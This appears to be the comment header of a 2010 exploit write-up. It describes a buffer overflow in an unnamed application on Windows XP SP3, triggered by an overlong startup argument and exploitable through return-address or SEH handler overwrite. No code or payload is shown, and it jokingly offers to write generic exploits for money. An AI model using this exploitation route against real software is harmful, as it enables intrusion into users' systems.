# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition

# App. has classic buffer overflow vulnerability
# it can be triggered by passing too long argument
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$
# we will c0de it for You ^^
